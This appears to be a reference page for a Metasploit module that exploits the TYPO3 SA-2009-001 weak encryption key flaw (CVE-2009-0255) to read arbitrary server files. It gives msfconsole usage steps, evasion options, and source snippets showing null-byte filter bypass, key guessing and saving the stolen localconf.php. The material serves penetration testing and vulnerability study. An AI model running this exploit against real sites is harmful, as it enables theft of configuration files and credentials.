TYPO3 sa-2009-001 Weak Encryption Key File Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/typo3_sa_2009_001 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: TYPO3 sa-2009-001 Weak Encryption Key File Disclosure
Module: auxiliary/admin/http/typo3_sa_2009_001
Source code: modules/auxiliary/admin/http/typo3_sa_2009_001.rb
Disclosure date: 2009-01-20
Last modification time: 2018-07-12 17:34:52 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2009-0255

This module exploits a flaw in TYPO3 encryption ey creation process to allow for file disclosure in the jumpUrl mechanism. This flaw can be used to read any file that the web server user account has access to view.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/typo3_sa_2009_001
msf auxiliary(typo3_sa_2009_001) > show targets
    ... a list of targets ...
msf auxiliary(typo3_sa_2009_001) > set TARGET target-id
msf auxiliary(typo3_sa_2009_001) > show options
    ... show and set options ...
msf auxiliary(typo3_sa_2009_001) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the admin/http/typo3_sa_2009_001 auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/typo3_sa_2009_001

msf6 auxiliary(admin/http/typo3_sa_2009_001) > show info

       Name: TYPO3 sa-2009-001 Weak Encryption Key File Disclosure
     Module: auxiliary/admin/http/typo3_sa_2009_001
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-01-20

Provided by:
  Chris John Riley

Check supported:
  No

Basic options:
  Name     Current Setting          Required  Description
  ----     ---------------          --------  -----------
  ENC_KEY                           no        Encryption key if known
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RFILE    typo3conf/localconf.php  yes       The remote file to download
  RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    80                       yes       The target port (TCP)
  SSL      false                    no        Negotiate SSL/TLS for outgoing connections
  URI      /                        yes       TYPO3 Path
  VHOST                             no        HTTP server virtual host

Description:
  This module exploits a flaw in TYPO3 encryption ey creation process 
  to allow for file disclosure in the jumpUrl mechanism. This flaw can 
  be used to read any file that the web server user account has access 
  to view.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2009-0255
  OSVDB (51536)
  http://blog.c22.cc/advisories/typo3-sa-2009-001
  http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-001/

Module Options

This is a complete list of options available in the admin/http/typo3_sa_2009_001 auxiliary module:

msf6 auxiliary(admin/http/typo3_sa_2009_001) > show options

Module options (auxiliary/admin/http/typo3_sa_2009_001):

   Name     Current Setting          Required  Description
   ----     ---------------          --------  -----------
   ENC_KEY                           no        Encryption key if known
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RFILE    typo3conf/localconf.php  yes       The remote file to download
   RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80                       yes       The target port (TCP)
   SSL      false                    no        Negotiate SSL/TLS for outgoing connections
   URI      /                        yes       TYPO3 Path
   VHOST                             no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/typo3_sa_2009_001 auxiliary module:

msf6 auxiliary(admin/http/typo3_sa_2009_001) > show advanced

Module advanced options (auxiliary/admin/http/typo3_sa_2009_001):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/typo3_sa_2009_001 module can do:

msf6 auxiliary(admin/http/typo3_sa_2009_001) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/typo3_sa_2009_001 auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/typo3_sa_2009_001) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Directory traversal detected... you might want to start that with a /.. or \..

Here is a relevant code snippet related to the "Directory traversal detected... you might want to start that with a /.. or \.." error message:

67:	    jumpurl = "#{datastore['RFILE']}%00/."
68:	    jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte
69:	    jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format
70:	    print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
71:	  when /^\.\.(\/|\\)/i
72:	    print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
73:	  else
74:	    jumpurl_len = (datastore['RFILE'].length)
75:	    jumpurl = "#{datastore['RFILE']}"
76:	    jumpurl_enc = "#{datastore['RFILE']}"
77:	  end

File <RFILE> does not exist.

Here is a relevant code snippet related to the "File <RFILE> does not exist." error message:

114:	
115:	    case file.headers['Content-Type']
116:	    when 'text/html'
117:	      case file.body
118:	      when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
119:	        print_error("File #{datastore['RFILE']} does not exist.")
120:	        print_good("Discovered encryption key : #{final}")
121:	        return
122:	      when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
123:	        print_error("File #{datastore['RFILE']} is not accessible.")
124:	        print_good("Discovered encryption key : #{final}")

File <RFILE> is not accessible.

Here is a relevant code snippet related to the "File <RFILE> is not accessible." error message:

118:	      when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
119:	        print_error("File #{datastore['RFILE']} does not exist.")
120:	        print_good("Discovered encryption key : #{final}")
121:	        return
122:	      when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
123:	        print_error("File #{datastore['RFILE']} is not accessible.")
124:	        print_good("Discovered encryption key : #{final}")
125:	        return
126:	      when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
127:	        print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
128:	        print_good("Discovered encryption key : #{final}")

File <RFILE> is not allowed to be accessed through jumpUrl.

Here is a relevant code snippet related to the "File <RFILE> is not allowed to be accessed through jumpUrl." error message:

122:	      when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
123:	        print_error("File #{datastore['RFILE']} is not accessible.")
124:	        print_good("Discovered encryption key : #{final}")
125:	        return
126:	      when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
127:	        print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
128:	        print_good("Discovered encryption key : #{final}")
129:	        return
130:	      end
131:	    when 'application/octet-stream'
132:	      addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB

Encryption Key specified is not correct

Here is a relevant code snippet related to the "Encryption Key specified is not correct" error message:

134:	      print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
135:	      store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_sa_2009_001")
136:	      return
137:	    else
138:	      if datastore['ENC_KEY'] != ''
139:	        print_error("Encryption Key specified is not correct")
140:	        return
141:	      else
142:	        # Try next encryption key
143:	      end
144:	    end

<RHOST>:<RPORT> [Typo3-SA-2009-001] Failed to retrieve file <RFILE>

Here is a relevant code snippet related to the "<RHOST>:<RPORT> [Typo3-SA-2009-001] Failed to retrieve file <RFILE>" error message:

140:	        return
141:	      else
142:	        # Try next encryption key
143:	      end
144:	    end
145:	  end
146:	
147:	    print_error("#{rhost}:#{rport} [Typo3-SA-2009-001] Failed to retrieve file #{datastore['RFILE']}")
148:	
149:	  end
150:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Chris John Riley

Version

This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.

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